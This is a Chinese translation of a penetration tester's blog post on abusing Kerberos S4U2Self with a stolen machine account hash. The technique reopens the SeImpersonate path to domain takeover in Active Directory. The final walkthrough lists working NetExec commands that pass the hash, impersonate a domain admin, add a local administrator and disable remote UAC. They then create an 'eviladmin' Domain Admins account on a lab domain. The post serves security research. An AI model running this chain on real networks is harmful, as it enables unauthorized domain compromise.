滥用S4U2Self实现Active Directory横向移动

作者：Hunter Wade | BHIS实习生

Hunter最近获得了网络防御硕士学位，拥有两年多的渗透测试经验。他最喜欢的测试领域是Active Directory，业余时间喜欢在家庭实验室工作并分析恶意软件。

本文已交叉发布。我们感谢Hunter允许我们分享这篇富有洞察力的文章——您可以在此处查看原文。

TL;DR

如果您仅拥有有效的机器哈希，可以利用Kerberos S4U2Self代理进行本地权限提升，从而重新打开和扩展潜在的本地到域横向移动路径，例如SEImpersonate！

什么是Kerberos？

Kerberos是一种基于票据的身份验证协议，通过在不可信环境中首先通过相互信任的第三方建立相互信任来实现安全通信。因此，Kerberos需要三方参与：

客户端：请求访问资源的用户或系统。
服务器：客户端想要访问的目标资源。
密钥分发中心（KDC）：负责验证用户身份并颁发票据的受信任第三方。

这种身份验证方法的关键原因是最小化在网络上发送密码的需求，从而降低凭据被盗的风险。

票据发放过程

在整个Kerberos身份验证过程中，服务由其SPN（服务主体名称）引用。因此，票据生成过程如下：

身份验证服务请求：客户端向KDC发送使用其密码加密的身份验证请求。
身份验证服务响应：如果KDC可以使用用户密码解密请求，则客户端已证明其身份。KDC然后响应一个票据授予票据（TGT），使用KDC的密钥加密。
票据授予票据请求：客户端将TGT传递回KDC，请求访问目标服务。
票据授予票据响应：如果KDC可以解密TGT，则证明客户端提供了有效的TGT，因为没有其他实体可以访问KDC的密钥。KDC然后响应一个服务票据（ST），使用目标服务的密码加密。
服务票据请求：客户端将ST传递给目标服务，请求访问。如果目标服务可以解密服务票据，则证明票据有效，因为只有KDC和服务本身应该拥有服务的密码。

通过受信任的中间人——KDC——客户端和目标服务可以建立信任，依赖于只有KDC拥有秘密凭据的假设。

Kerberos委托——双跳问题

由于Kerberos票据的工作方式，服务器无法将客户端凭据转发到其他资源，因为它们只有使用自己密码加密的服务票据。这被称为Kerberos双跳问题。

为了解决这个问题，Microsoft引入了委托功能，允许服务器将客户端凭据转发到另一个服务，使第二个服务能够代表第一个服务器验证客户端身份。如今，有三种形式的Kerberos委托：

无约束委托：无约束委托是最早的委托形式。当客户端验证到配置了无约束委托的服务器时，客户端还会传递其TGT以及ST，允许目标重用TGT以该用户身份验证到下一个资源。
约束委托：无约束委托具有重大的安全影响，为了减轻与配置了这种委托形式的主机被入侵相关的风险，约束委托限制了委托到指定目标上的指定服务主体名称（SPN）的能力。这种委托形式还引入了两个代理来消除TGT转发：S4U2Self和S4U2Proxy。
基于资源的约束委托：基于资源的约束委托与约束委托非常相似，主要区别在于目标（资源）确定哪些服务可以委托到它。

分析S4U2Self

回顾约束委托，S4U2Self和S4U2Proxy旨在防止TGT转发，同时仍然允许代表另一个用户生成有效的服务票据。具体来说，S4U2Self执行模拟，而S4U2Proxy处理票据生成，但仅当在请求资源上启用了约束委托时。

然而，与S4U2Proxy不同，S4U2Self不需要配置约束委托即可执行模拟过程。这意味着如果攻击者可以获得机器账户哈希，他们可以通过overpass-the-hash攻击生成自己的TGT，并请求服务票据以任何有效域用户身份进行身份验证，而无需知道其密码。唯一的警告是模拟仅限于与被入侵的机器账户绑定的资源。

这就是本博客的核心问题出现的地方：如果攻击者仅拥有机器哈希，他们如何主要使用S4U2Self从本地系统横向移动到Active Directory域？

S4U2Self限制

在这个项目的研究期间，有许多试验和错误！在讨论我在工作中发现的一个有希望的向量之前，我确实想首先讨论哪些方法不起作用，因为我认为这同样重要！

以下每一项都需要通过S4U2Self生成服务票据，以在未配置约束委托的主机上模拟域管理员。

Kerberos问题和保护：

如果我们通过Kerberos验证到资源，没有委托就无法进行横向移动。这个限制影响了任何排除被入侵主机的东西。以下是一些尝试横向移动到域控制器后出现的错误。

为了模拟横向移动和从其他用户收集哈希，所有基于RPC的传递攻击当前都返回机器账户哈希，类似于传统的RPC强制技术。

当执行net use传递时，以下屏幕截图显示NTLMv2-SSP哈希源自机器账户，而不是域管理员用户，因此尝试以这种方式恢复域管理员的哈希是不可行的。

有趣的是，强制身份验证文件（例如.url、.scf等）似乎不再起作用。应该提到的是，这仅在单个完全更新的Windows 11主机上观察到，因此结果可能有所不同。

此外，由于Microsoft Credential Guard禁止传递哈希和传递票据攻击，我们无法通过RDP访问受害者。要使用Kerberos进行RDP，许多工具需要票据授予票据才能工作，而不是服务票据。在我们的案例中，使用S4U2Self伪造的票据属于传递票据。

因此，毫不奇怪，如果我们想要进行横向移动，我们必须首先利用本地权限！ 🙂

获取机器哈希

根据Active Directory域的配置，获取机器账户可能是一个相对简单的任务。虽然获取机器哈希不是本文的主要焦点，但如果攻击者获得对计算机的管理凭据，使他们能够转储SAM、SYSTEM和SECURITY注册表配置单元，就可以实现。

虽然不是一个详尽的列表，但一些实现方式包括：

获取方式	行动
过度特权账户	转储注册表
弱本地管理员密码	转储注册表
非管理员拥有SEBackupPrivilege	转储注册表
被入侵的备份	转储注册表
NTLMv1身份验证+强制	传递哈希，转储注册表

等等！

使用S4U2Self扩展SEImpersonate攻击向量

如果由于Kerberos双跳问题无法横向移动到其他主机，该怎么办？另一种从本地管理员横向移动到域管理员的方法是通过滥用通常分配给本地管理用户的SEImpersonatePrivilege属性。

然而，这个向量的主要缓解措施是禁用本地管理员账户，导致常见的假设是，如果攻击者无法以本地管理员身份登录，这个路径就不再可行。

虽然这是真的，但如果您拥有机器账户哈希，可以使用S4U2Self重新打开这个路径。使用这个，我们可以生成模拟域管理员用户的票据，并可以重新启用本地管理员用户并更改其密码，或者创建一个我们控制的本地管理员。

从渗透测试的角度来看，后者更受青睐，因为创建和清理新用户比修改现有用户更容易。然而，应该注意的是，由于称为远程UAC的功能，这个路径不会立即工作。因为我们拥有管理权限，我们可以在继续之前简单地修改注册表中的那个功能！以下是完成方法：

使用本地管理员传递哈希，证明该用户已禁用

1

nxc smb testpc -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth

使用机器哈希进行S4U2Self，模拟域管理员

1

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self

创建新的本地管理员用户（fakeadmin）

1

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'powershell.exe net user fakeadmin Password12345 /add ; net localgroup administrators fakeadmin /add'

通过注册表禁用远程UAC

1

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f'

检查域管理员会话（其中logon_server是域控制器）

1

nxc smb testpc -u 'fakeadmin' -p 'Password12345' --local-auth --loggedon-users

SEImpersonate域管理员并创建eviladmin用户。将他们添加到Domain Admins组

1

nxc smb testpc -u 'fakeadmin' -p 'Password12345' --local-auth -M schtask_as -o USER='TEST\administrator' CMD="powershell.exe \"Invoke-Command -ComputerName TESTDC -ScriptBlock { \$password = ConvertTo-SecureString -String 'Password123' -AsPlainText -Force; New-ADUser -Name 'eviladmin' -SamAccountName 'eviladmin' -UserPrincipalName 'eviladmin@test.local' -Enabled \$true -AccountPassword \$password; Add-ADGroupMember -Identity 'Domain Admins' -Members 'eviladmin'}\""

完全域妥协！（test.local域有两个系统）

1

nxc smb <network_cidr> -u 'eviladmin' -p 'Password123'

清理：通过注册表重新启用远程UAC

1

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 0 /f'

删除fakeadmin用户

1

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'net user fakeadmin /delete'

限制和不实用性

虽然这并没有为S4U2Self或SEImpersonate滥用路径引入实质性的新研究，但它确实引起了对一个较少讨论的滥用向量的关注。具体来说，即使在实施了某些本地缓解措施后，重新启用横向移动到域的方法的技术。

也就是说，这个路径相对不实用，主要是由于获取机器账户哈希所需的方法。此技术的核心先决条件是获取机器账户的NTLM哈希，这通常需要提升权限才能从注册表中转储。

冗余权限：如果本地管理员用户被禁用，由于已经获得了转储注册表的提升权限，使用S4U2Self重新启用或创建新的本地管理员用户是不必要的。
易变的机器密码：此外，域加入的Windows机器每30天轮换一次计算机账户密码。因此，如果从过时的备份获取机器哈希，传递哈希尝试失败的可能性很高。
需要现有会话：SEImpersonate路径也有限制。由于它依赖于模拟域附加用户（最好是域管理员），它确实要求他们在主机上以某种方式处于活动状态。

为了进一步可视化，以下是获取机器哈希后S4U2Self的潜在可行用途列表：

获取方式	S4U2Self适用性
过度特权域用户	❌ 创建新的本地管理员和SEImpersonate滥用可以用这个用户代替。
弱本地管理员密码	❌ 已获得本地管理员权限！继续进行SEImpersonate滥用。
非管理员拥有SEBackupPrivilege	✅ 如果本地管理员被禁用，可能有用！
被入侵的备份	✅ 如果本地管理员被禁用且备份足够新以至于机器密码未更改，可能有用！
NTLMv1身份验证+强制	❌ 如果您能成功完成这个，只需对域控制器执行即可！

简而言之，这种方法仅在有有效（未轮换）机器账户哈希、本地管理员账户被禁用且域管理员在被入侵主机上处于活动状态时有用。

尽管看起来不太可能，但我在渗透测试参与中多次遇到通过SEImpersonate进行本地横向移动导致完全域妥协的情况。这个路径只是增加了这些本地横向移动攻击实际成功的可能性，因为我们可以使用S4U2Self essentially“扩大网络”。 🙂